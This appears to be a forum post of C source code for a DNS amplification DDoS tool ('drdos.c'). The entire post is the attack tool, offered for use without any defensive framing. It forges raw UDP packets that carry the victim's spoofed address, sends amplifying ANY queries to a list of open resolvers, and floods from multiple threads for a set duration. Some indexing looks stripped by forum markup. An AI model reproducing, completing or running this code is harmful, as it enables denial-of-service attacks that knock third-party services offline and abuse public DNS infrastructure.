drdos.c
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Код /* DNS AMPLIFICATION DDOS SKRIPT */
#include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 #define PACKETS_PER_RESOLVER 25
static uint32_t Q[4096], c = 362436;
struct list { struct sockaddr_in data; char domain[512]; int line; struct list *next; struct list *prev; }; struct list *head;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; int port; };
struct DNS_HEADER { unsigned short id; // identification number
unsigned char rd :1; // recursion desired unsigned char tc :1; // truncated message unsigned char aa :1; // authoritive answer unsigned char opcode :4; // purpose of message unsigned char qr :1; // query/response flag
unsigned char rcode :4; // response code unsigned char cd :1; // checking disabled unsigned char ad :1; // authenticated data unsigned char z :1; // its z! reserved unsigned char ra :1; // recursion available
unsigned short q_count; // number of question entries unsigned short ans_count; // number of answer entries unsigned short auth_count; // number of authority entries unsigned short add_count; // number of resource entries };
//Constant sized fields of query structure struct QUESTION { unsigned short qtype; unsigned short qclass; };
//Constant sized fields of the resource record structure struct QUERY { unsigned char *name; struct QUESTION *ques; };
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host) { int lock = 0 , i; strcat((char*)host,".");
for(i = 0 ; i < strlen((char*)host) ; i++) { if(host[i]=='.') { *dns++ = i-lock; for(;lock<i;lock++) { *dns++=host[lock]; } lock++; //or lock=i+1; } } *dns++='\0'; }
void init_rand(uint32_t x) { int i;
Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q = r - x); }
/* function for header checksums */ unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); }
void setup_udp_header(struct udphdr *udph) {
}
void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1;
char strPacket[MAX_PACKET_SIZE]; int iPayloadSize = 0;
struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int iPort = td->port;
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(s < 0) { fprintf(stderr, "Error: Could not open raw socket. Root privileges are required!\n"); exit(-1); }
//init random init_rand(time(NULL));
// Clear the data memset(strPacket, 0, MAX_PACKET_SIZE);
// Make the packet struct iphdr *iph = (struct iphdr *) &strPacket; iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + 38; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100");
iPayloadSize += sizeof(struct iphdr);
struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize]; udph->source = htons(iPort); udph->dest = htons(53); udph->check = 0;
iPayloadSize += sizeof(struct udphdr);
struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize]; dns->id = (unsigned short) htons(rand_cmwc()); dns->qr = 0; //This is a query dns->opcode = 0; //This is a standard query dns->aa = 0; //Not Authoritative dns->tc = 0; //This message is not truncated dns->rd = 1; //Recursion Desired dns->ra = 0; //Recursion not available! hey we dont have it (lol) dns->z = 0; dns->ad = 0; dns->cd = 0; dns->rcode = 0; dns->q_count = htons(1); //we have only 1 question dns->ans_count = 0; dns->auth_count = 0; dns->add_count = htons(1);
iPayloadSize += sizeof(struct DNS_HEADER);
sin.sin_port = udph->source; iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
char strDomain[512]; int i; int j = 0; int iAdditionalSize = 0; while(1) { if(j==2){ usleep(100); j=0; }
//set the next node list_node = list_node->next;
//Clear the old domain and question memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
//add the chosen domain and question iAdditionalSize = 0;
unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
strcpy(strDomain, list_node->domain); ChangetoDnsNameFormat(qname, strDomain); //printf("!!%s %d\n", list_node->domain, list_node->line);
iAdditionalSize += strlen(qname) + 1;
struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize]; qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc qinfo->qclass = htons(1);
iAdditionalSize += sizeof(struct QUESTION);
strPacket[iPayloadSize + iAdditionalSize] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29; strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23; strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28; strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00; strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
iAdditionalSize += 11;
//set new node data iph->daddr = list_node->data.sin_addr.s_addr;
udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr)); iph->tot_len = iPayloadSize + iAdditionalSize;
udph->source = htons(rand_cmwc() & 0xFFFF); iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
//send for(i = 0; i < PACKETS_PER_RESOLVER; i++) { sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); }
j++; } }
void ParseResolverLine(char *strLine, int iLine) { char caIP[32] = ""; char caDNS[512] = "";
int i; char buffer[512] = "";
int moved = 0;
for(i = 0; i < strlen(strLine); i++) { if(strLine == ' ' || strLine == '\n' || strLine == '\t') { moved++; continue; }
if(moved == 0) { caIP[strlen(caIP)] = (char) strLine; } else if(moved == 1) { caDNS[strlen(caDNS)] = (char) strLine; } } //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
if(head == NULL) { head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(caIP); head->data.sin_port=htons(53); strcpy(head->domain, caDNS); head->line = iLine; head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(caIP); new_node->data.sin_port=htons(53); strcpy(new_node->domain, caDNS); new_node->prev = head; head->line = iLine; new_node->next = head->next; head->next = new_node; } }
int main(int argc, char *argv[ ]) { if(argc < 4) { fprintf(stderr, "Invalid parameters!\n"); fprintf(stderr, "Usage: %s <target> <port> <nameserver file> <threads> [time]\n", argv[0]); exit(-1); }
head = NULL;
char *strLine = (char *) malloc(256); strLine = memset(strLine, 0x00, 256);
char strIP[32] = ""; char strDomain[256] = "";
int iLine = 0; // 0 = ip, 1 = domain.
FILE *list_fd = fopen(argv[3], "r"); while(fgets(strLine, 256, list_fd) != NULL) { ParseResolverLine(strLine, iLine); iLine++; }
int i = 0; int num_threads = atoi(argv[4]);
struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons(0); sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads];
int iPort = atoi(argv[2]);
printf("Target: %s:%d\n", argv[1], iPort);
for(i = 0; i < num_threads; i++) { td.thread_id = i; td.sin= sin; td.list_node = current; td.port = iPort; pthread_create( &thread, NULL, &flood, (void *) &td);
}
fprintf(stdout, "Starting flood..\n");
if(argc > 4) { sleep(atoi(argv[5])); } else { while(1) { sleep(1); } }
return 0; }[/i]
В ЛС не отвечу даже не старайтесь. Все вопросы на форум, создавайте тему там ответим.
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